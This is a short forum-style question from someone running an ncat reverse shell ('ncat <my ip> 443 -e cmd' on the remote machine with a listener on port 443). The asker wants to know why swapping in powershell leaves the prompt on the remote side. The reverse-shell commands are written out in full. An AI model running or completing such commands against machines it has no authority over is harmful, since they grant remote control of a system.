I am using ncat to execute a reverse "cmd" shell from one machine to another and without any issues using the commands:
In my machine: ncat -l 443
In the remote machine: ncat <my ip> 443 -e cmd
And all works flawlessly, however, I would very much prefer "powershell" to be executed instead of "cmd", for that I did this:
In my machine: ncat -l 443
In the remote machine: ncat <my ip> 443 -e powershell
But now a strange thing happens, the powershell prompt is given to the remote machine and not mine... This is the output:
In my machine: Windows Powershell
Copyright 2009 Microsoft Corporation. All rights reserverd. (and it hangs there)
In the remote machine: PS C:\Users\User> (the shell is actually given to the remote machine)
Is there a way to redirect that prompt to my machine again, and have the "powershell" shell in my machine as I did with the "cmd" shell? I searched for stdout redirection but could not make it work :(
Any help would be very much appreciated.